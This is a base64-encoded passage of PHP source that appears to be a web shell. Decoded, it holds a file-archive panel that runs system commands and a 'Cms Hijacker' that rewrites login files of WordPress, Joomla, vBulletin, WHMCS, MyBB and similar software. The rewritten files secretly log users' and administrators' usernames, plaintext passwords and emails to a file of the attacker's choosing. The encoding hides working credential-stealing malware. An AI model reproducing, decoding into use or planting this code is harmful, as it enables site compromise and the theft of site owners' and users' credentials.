bmF0aW9uKXsKCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKXx8IWZpbGVfZXhpc3RzKCRzb3VyY2UpKXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkkemlwPW5ldyBaaXBBcmNoaXZlKCk7CglpZighJHppcC0+b3BlbigkZGVzdGluYXRpb24sWklQQVJDSElWRTo6Q1JFQVRFKSl7CgkJcmV0dXJuIGZhbHNlOwoJfQoJJHNvdXJjZT1zdHJfcmVwbGFjZSgnXFwnLCcvJyxyZWFscGF0aCgkc291cmNlKSk7CglpZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKCQkkZmlsZXM9bmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3I6OlNFTEZfRklSU1QpOwoJCWZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJJGZpbGU9c3RyX3JlcGxhY2UoJ1xcJywnLycsJGZpbGUpOwoJCQlpZihpbl9hcnJheShzdWJzdHIoJGZpbGUsc3RycnBvcygkZmlsZSwnLycpKzEpLGFycmF5KCcuJywnLi4nKSkpY29udGludWU7CgkJCSRmaWxlPXJlYWxwYXRoKCRmaWxlKTsKCQkJaWYoaXNfZGlyKCRmaWxlKT09PXRydWUpewoJCQkJJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZS4nLycsJycsJGZpbGUuJy8nKSk7CgkJCX1lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7CgkJCQkkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwoJCQl9CgkJfQoJfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewoJCSR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksZmlsZV9nZXRfY29udGVudHMoJHNvdXJjZSkpOwoJfQoJcmV0dXJuICR6aXAtPmNsb3NlKCk7Cn0KZnVuY3Rpb24gaG9raWRlemlwZXIoKXsKaG9raWhlYWQoKTsKSG9raU51bSg4LDksMTApOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48cD48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IERlQ29tcHJlc3NvciB8PC9kaXY+PC9wPgo8Zm9ybSBvblN1Ym1pdD0iZyhcJ2RlemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5GaWxlOiA8L2Rpdj4gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcnppcCIgdmFsdWU9IicuKCFlbXB0eSgkX1BPU1RbJ2hva2kzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydob2tpMyddKTpodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkpLiciIHNpemU9IjYwIi8+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkV4dHJhY3QgVG86IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iemlwZmlsZSIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLiciIHNpemU9IjYwIi8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiBuYW1lPSJ6aXBlciIgLz4KPC9mb3JtPjwvY2VudGVyPjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2hva2k1J10pICYmICgkX1BPU1RbJ2hva2k1J10gPT0gJz4+JykpewokZGlyemlwID0gJF9QT1NUWydob2tpMyddOwokemlwZmlsZSA9ICRfUE9TVFsnaG9raTQnXTsKaWYoQCFpc19kaXIoJHppcGZpbGUpKXsKCUBta2RpcigkemlwZmlsZSwgMDc3NywgdHJ1ZSk7Cn0KJGZpbmZvID0gIiI7CiRmaWxlX3R5cGUgPSAiIjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpewokZmluZm8gPSBAZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpOwokZmlsZV90eXBlID0gQGZpbmZvX2ZpbGUoJGZpbmZvLCAkZGlyemlwKTsKQGZpbmZvX2Nsb3NlKCRmaW5mbyk7Cn1lbHNlewoJaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewoJCSRmaWxlX3R5cGUgPSBob2tpRXgoJ2ZpbGUgLWIgLS1taW1lLXR5cGUgJyAuICRkaXJ6aXApOwoJfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKaG9raUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9ob2tpX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oaG9raUV4KCd3aGljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihob2tpRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihob2tpRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CgljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCWhva2lFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJYnJlYWs7CgljYXNlICdhcHBsaWNhdGlvbi94LXRhcic6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3ppcCc6IGNhc2UgJ2FwcGxpY2F0aW9uL3gtZ3Rhcic6CgkJaWYoc3Ryc3RyKGJhc2VuYW1lKCRkaXJ6aXApLCAiLnRhci5neiIpfHxzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyIikpewoJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO3RhciB4emYgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwoJCX1lbHNlewoJCQlob2tpRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7CgkJfQoJYnJlYWs7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CgkkaXRzb2sgPSBmYWxzZTsKCWlmKGVtdHB5KCRmaWxlX3R5cGUpKXsKCQkkZmlsZV90eXBlID0gImFwcGxpY2F0aW9uL3ppcCI7Cgl9Cglzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKCQljYXNlICdhcHBsaWNhdGlvbi96aXAnOgoJCQkkemlwID0gbmV3IFppcEFyY2hpdmU7CgkJCSRyZXMgPSAkemlwLT5vcGVuKCRkaXJ6aXApOwoJCQlpZiAoJHJlcykgewoJCQkJJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCSR6aXAtPmNsb3NlKCk7CgkJCQkkaXRzb2sgPSB0cnVlOwoJCQl9CgkJYnJlYWs7CgkJY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgoJCQlpZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewoJCQkJJG5ld19maWxlID0gJHppcGZpbGUgLicvJy4gYmFzZW5hbWUoJGRpcnppcCk7CgkJCQlAY29weSgkZGlyemlwLCAkbmV3X2ZpbGUpOwoJCQkJJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKCQkJCXRyeSB7CgkJCQkJJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKCQkJCQkkcC0+ZGVjb21wcmVzcygpOwoJCQkJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRuZXdfdGFyKTsKCQkJCQkkcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKCQkJCQlAdW5saW5rKCRuZXdfZmlsZSk7CgkJCQkJQHVubGluaygkbmV3X3Rhcik7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9ZWxzZXsKCQkJCXRyeSB7CgkJCQkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRpcnppcCk7CgkJCQkJJHBoYXItPmV4dHJhY3RUbygkemlwZmlsZSk7CgkJCQkJJGl0c29rID0gdHJ1ZTsKCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewoJCQkJfQoJCQl9CgkJYnJlYWs7Cgl9CmlmKCRpdHNvayl7CmVjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hPGJyPicuJHppcGZpbGUuJzwvZm9udD4gPGEgc3R5bGU9ImN1cnNvcjpwb2ludGVyOyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiR6aXBmaWxlLidcJyk7Ij5bIFZpZXcgRm9sZGVyIF08L2E+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gaG9raWNtc2hpamFja2VyKCl7Cmhva2loZWFkKCk7Ckhva2lOdW0oNSw2LDcsOCw5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsbCx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOwokY21fYXJyYXkgPSBhcnJheSgidmIiPT4idkJ1bGxldGluIiwid3AiPT4id29yZHByZXNzIiwiam9tIj0+Impvb21sYSIsIndobWNzIj0+IndobWNzIiwibXliYiI9PiJteWJiIiwiaXBiIj0+ImlwYm9hcmQiLCJwaHBiYiI9PiJwaHBiYiIpOwpmb3JlYWNoKCRjbV9hcnJheSBhcyAka2V5PT4kdmFsKWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJGtleS4nIj4nLiR2YWwuJzwvb3B0aW9uPic7CmVjaG8oIjwvc2VsZWN0PiIpOwplY2hvICcgUGF0aCBpbnN0YWxsZWQgY21zOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNtc3BhdGgiIHBsYWNlaG9sZGVyPSJleDogL2hvbWUvdXNlci9wdWJsaWNfaHRtbC92YnVsbGV0aW4vIj4KU2F2ZVRvOiA8aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9InNhdmV0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidob2tpLnR4dCI+PC9mb250Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRjbXMgPSAkX1BPU1RbJ2hva2kxJ107CiRzYXZldG8gPSAkX1BPU1RbJ2hva2kyJ107CiRjbXNwYXRoID0gJF9QT1NUWydob2tpNCddOwppZighZW1wdHkoJGNtcykgQU5EICFlbXB0eSgkc2F2ZXRvKSBBTkQgJF9QT1NUWydob2tpNCddIEFORCAkX1BPU1RbJ2hva2kzJ10gPT0gJz4+Jyl7CmVjaG8gX19wcmUoKTsKaG9raUhpamFja0NtcygkY21zLCRjbXNwYXRoLCRzYXZldG8pOwp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byl7CnN3aXRjaCgkY21zKXsKY2FzZSAidmIiOgpoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7CmJyZWFrOwpjYXNlICJ3cCI6CmhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiam9tIjoKaGlqYWNrSm9vbWxhKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAid2htY3MiOgpoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmNhc2UgIm15YmIiOgpoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAiaXBiIjoKaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOwpicmVhazsKY2FzZSAicGhwYmIiOgpoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsKYnJlYWs7CmRlZmF1bHQ6CmVjaG8gImVycm9yISI7CmJyZWFrOwp9Cn0KZnVuY3Rpb24gaGlqYWNrdkJ1bGxldGluKCRwYXRoLCRzYXZldG8pewokY29kZT0nJGhva2lfdXNlcm5hbWUgPSBzdHJ0b2xvd2VyKCR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fdXNlcm5hbWUiXSk7JGhva2lfcGFzc3dvcmQgPSAkdmJ1bGxldGluLT5HUENbInZiX2xvZ2luX3Bhc3N3b3JkIl07JGhva2lfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9Ijskc3FsX3F1ZXJ5ID0gJHZidWxsZXRpbi0+ZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9XCciIC4gJGhva2lfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJHZidWxsZXRpbi0+ZGItPmZldGNoX2FycmF5KCRzcWxfcXVlcnkpKXtpZihzdHJsZW4oJGhva2lfcGFzc3dvcmQpID4gMSBBTkQgc3RybGVuKCRob2tpX3VzZXJuYW1lKSA+IDEpeyRmcDEgPSBAZm9wZW4oJGhva2lfZmlsZSwgImErIik7QGZ3cml0ZSgkZnAxLCAkaG9raV91c2VybmFtZSAuIFwnIDogXCcgLiAgJGhva2lfcGFzc3dvcmQuIiAoIiAuICRyb3dbImVtYWlsIl0gLiAiKVxuIik7QGZjbG9zZSgkZnAxKTsgJGYgPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9fSc7CiRjbGVhcnB3ID0gJ2RlZmluZWQoXCdESVNBQkxFX1BBU1NXT1JEX0NMRUFSSU5HXCcpJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW4gPSAkcGF0aC4iL2xvZ2luLnBocCI7CiRjbGFzcyA9ICRwYXRoLiIvaW5jbHVkZXMvY2xhc3NfYm9vdHN0cmFwLnBocCI7CiRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsKJGV2aWxfbG9naW4gPSAiXHQiLiRjb2RlLiJcblx0Ii4kZG9sb2dpbjsKJGV2aWxfY2xhc3MgPSAidHJ1ZSI7CmlmKChAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSkgfHwgKEBpc19maWxlKCRjbGFzcykgQU5EIEBpc193cml0YWJsZSgkY2xhc3MpKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CiRkYXRhX2NsYXNzID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRjbGFzcyk7CmlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIHx8IHN0cnN0cigkZGF0YV9jbGFzcywgJGNsZWFycHcpKXsKJGxvZ2luX3JlcGxhY2UgPSBzdHJfcmVwbGFjZSgkZG9sb2dpbiwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwokY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7CkBmaWxlX3B1dF9jb250ZW50cygkbG9naW4sICRsb2dpbl9yZXBsYWNlKTsKQGZpbGVfcHV0X2NvbnRlbnRzKCRjbGFzcywgJGNsYXNzX3JlcGxhY2UpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrd3AoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRob2tpX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRob2tpX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHVzZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRob2tpX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkaG9raV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7CiRyZWRpcmVjdF93cCA9ICcjaWZbIF17MCx9XChbIF17MCx9IVsgXXswLH1pc193cF9lcnJvclwoWyBdezAsfVwkdXNlclsgXXswLH1cKVsgXXswLH0mJlsgXXswLH0hWyBdezAsfVwkcmVhdXRoWyBdezAsfVwpWyBdezAsfXsjJzsKJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOwokbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOwppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7CiRkYXRhX2xvZ2luID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRsb2dpbik7CmlmKEBwcmVnX21hdGNoKCRyZWRpcmVjdF93cCwgJGRhdGFfbG9naW4sICRtYXRjaCkpewokZXZpbF9sb2dpbiA9ICJcdCIuJG1hdGNoWzBdLiJcblx0Ii4kY29kZTsKJGxvZ2luX3JlcGxhY2UgPSBAcHJlZ19yZXBsYWNlKCRyZWRpcmVjdF93cCwkZXZpbF9sb2dpbiwgJGRhdGFfbG9naW4pOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn1lbHNlewpoaWphY2tPdXRwdXQoMSk7Cn0KfQpmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGppbXBvcnQoXCdqb29tbGEudXNlci5hdXRoZW50aWNhdGlvblwnKTskSG9raV9hdXRoID0gJiBKQXV0aGVudGljYXRpb246OmdldEluc3RhbmNlKCk7JEhva2lfZGF0YSA9IGFycmF5KFwndXNlcm5hbWVcJz0+JF9QT1NUW1wndXNlcm5hbWVcJ10sXCdwYXNzd29yZFwnPT4kX1BPU1RbXCdwYXNzd2RcJ10pOyRIb2tpX29wdGlvbnMgPSBhcnJheSgpOyRIb2tpX3Jlc3BvbnNlID0gJEhva2lfYXV0aC0+YXV0aGVudGljYXRlKCRIb2tpX2RhdGEsICRIb2tpX29wdGlvbnMpO2lmKCRIb2tpX3Jlc3BvbnNlLT5zdGF0dXMgPT0gMSl7JGhva2lfZmlsZT0ie3NhdmV0b19wYXRofSI7JGZwPUBmb3BlbigkaG9raV9maWxlLCJhKyIpO0Bmd3JpdGUoJGZwLCAkSG9raV9yZXNwb25zZS0+dXNlcm5hbWUuIjoiLiRfUE9TVFtcJ3Bhc3N3ZFwnXS4iICggIi4kSG9raV9yZXNwb25zZS0+ZW1haWwuIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZwdXRzKCRmcCwgJHZhbHVlcyk7fUBmY2xvc2UoJGZwKTt9Pz4nOwokY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7CiRjb21wPSRwYXRoLiIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9sb2dpbi8iOwppZihAaXNfZmlsZSgkY29tcC4iL2xvZ2luLnBocCIpKXsKJGxvZ2luID0gJGNvbXAuIi9sb2dpbi5waHAiOwp9ZWxzZWlmKEBpc19maWxlKCRjb21wLiIvYWRtaW4ubG9naW4ucGhwIikpewokbG9naW4gPSAkY29tcC4iL2FkbWluLmxvZ2luLnBocCI7Cn1lbHNlewokbG9naW4gPSAnJzsKfQppZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSBBTkQgJGxvZ2luICE9ICcnKXsKJGRhdGFfbG9naW4gPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ2luKTsKJGV2aWxfbG9naW4gPSAkY29kZS4iXG4iLiRkYXRhX2xvZ2luOwpAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkZXZpbF9sb2dpbik7CmhpamFja091dHB1dCgwLCRzYXZldG8pOwp9ZWxzZXsKaGlqYWNrT3V0cHV0KDEpOwp9Cn0KZnVuY3Rpb24gaGlqYWNrV2htY3MoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfUE9TVFtcJ3VzZXJuYW1lXCddKSBBTkQgaXNzZXQoJF9QT1NUW1wncGFzc3dvcmRcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wndXNlcm5hbWVcJ10pIEFORCAhZW1wdHkoJF9QT1NUW1wncGFzc3dvcmRcJ10pKXtpZigkaG9raV9jb25uZWN0PUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSl7JGhva2lfZmlsZSA9ICJ7c2F2ZXRvX3BhdGh9IjskaG9raV91bmFtZSA9IEAkX1BPU1RbXCd1c2VybmFtZVwnXTskaG9raV9wdyA9IEAkX1BPU1RbXCdwYXNzd29yZFwnXTtpZihpc3NldCgkX1BPU1RbXCdsYW5ndWFnZVwnXSkpeyRob2tpX3EgPSAiU0VMRUNUICogRlJPTSB0YmxhZG1pbnMgV0hFUkUgYHVzZXJuYW1lYCA9IFwnJGhva2lfdW5hbWVcJyBBTkQgYHBhc3N3b3JkYCA9IFwnIi5tZDUoJGhva2lfcHcpLiJcJyI7JGFkbWluID0gdHJ1ZTt9ZWxzZXskaG9raV9xID0gIlNFTEVDVCAqIEZST00gdGJsY2xpZW50cyBXSEVSRSBgZW1haWxgID0gXCckaG9raV91bmFtZVwnIjskYWRtaW4gPSBmYWxzZTt9JGhva2lfcXVlcnkgPSBteXNxbGlfcXVlcnkoJGhva2lfY29ubmVjdCwgJGhva2lfcSk7aWYobXlzcWxpX251bV9yb3dzKCRob2tpX3F1ZXJ5KSA+IDAgKXskcm93ID0gbXlzcWxpX2ZldGNoX2FycmF5KCRob2tpX3F1ZXJ5KTskYWxsb3cgPSB0cnVlO2lmKCEkYWRtaW4peyRfX3NhbHQgPSBleHBsb2RlKFwnOlwnLCAkcm93W1wncGFzc3dvcmRcJ10pOyRfX2VuY1BXID0gbWQ1KCRfX3NhbHRbMV0uJF9QT1NUW1wncGFzc3dvcmRcJ10pLlwnOlwnLiRfX3NhbHRbMV07aWYoJHJvd1tcJ3Bhc3N3b3JkXCddID09ICRfX2VuY1BXKXskYWxsb3cgPSB0cnVlOyRyb3dbXCd1c2VybmFtZVwnXSA9ICRyb3dbXCdlbWFpbFwnXTt9ZWxzZXskYWxsb3cgPSBmYWxzZTt9fWlmKCRhbGxvdyl7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkcm93W1wndXNlcm5hbWVcJ10gLiBcJyA6IFwnIC4gICRob2tpX3B3LiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIikgOiAiLigkYWRtaW4gPyBcJ2lzX2FkbWluXCcgOiBcJ2lzX3VzZXJcJykuIlxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGhva2lfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0Bmd3JpdGUoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApO319fX0/Pic7CiRjb2RlPXN0cl9yZXBsYWNlKCd7c2F2ZXRvX3BhdGh9Jywkc2F2ZXRvLCRjb2RlKTsKJGNvbmY9JHBhdGguIi9jb25maWd1cmF0aW9uLnBocCI7CmlmKEBpc19maWxlKCRjb25mKSBBTkQgQGlzX3dyaXRhYmxlKCRjb25mKSl7CiRkYXRhX2NvbmYgPSBAZmlsZV9nZXRfY29udGVudHMoJGNvbmYpOwppZighc3Ryc3RyKCRkYXRhX2NvbmYsJz8+JykpJGNvZGUgPSAnPz4nLiRjb2RlOwokZXZpbF9jb25mID0gJGRhdGFfY29uZi4iXG4iLiRjb2RlOwpAZmlsZV9wdXRfY29udGVudHMoJGNvbmYsICRldmlsX2NvbmYpOwpoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsKfWVsc2V7CmhpamFja091dHB1dCgxKTsKfQp9CmZ1bmN0aW9uIGhpamFja015YmIoJHBhdGgsJHNhdmV0byl7CiRjb2RlID0gJyRob2tpX3EgPSAkZGItPnF1ZXJ5KCJTRUxFQ1QgYGVtYWlsYCBGUk9NICIuVEFCTEVfUFJFRklYLiJ1c2VycyBXSEVSRSBgdXNlcm5hbWVgID0gXCciLiR1c2VyW1wndXNlcm5hbWVcJ10uIlwnIik7JGhva2lfZmV0Y2ggPSAkZGItPmZldGNoX2FycmF5KCRob2tpX3EpOyRob2tpX2ZpbGUgPSAie3NhdmV0b19wYXRofSI7JGZwID0gQGZvcGVuKCRob2tpX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwLCAkdXNlcltcJ3VzZXJuYW1lXCddLiIgOiAiLiAkdXNlcltcJ3Bhc3N3b3JkXCddLiIgKCAiLiRob2tpX2ZldGNoW1wnZW1haWxcJ10uIiApXG4iKTtAZmNsb3NlKCRmcCk7JGYgPSBAZmlsZSgkaG9raV9maWxlKTskbmV3ID0gYXJyYXlfdW5pcXVlKCRmKTskZnAgPSBAZm9wZW4oJGhva2lfZmlsZSwgInciKTtmb3JlYWNoKCRuZXcgYXMgJHZhbHVlcyl7QGZ3cml0ZSg